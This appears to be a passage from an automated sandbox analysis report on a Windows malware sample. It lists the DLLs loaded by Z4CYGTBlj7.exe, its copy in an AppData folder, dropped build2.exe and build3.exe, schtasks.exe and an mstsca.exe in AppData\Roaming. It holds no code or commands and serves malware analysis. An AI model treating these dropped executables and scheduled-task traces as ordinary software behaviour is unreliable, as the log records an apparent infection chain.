Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: gpapi.dll
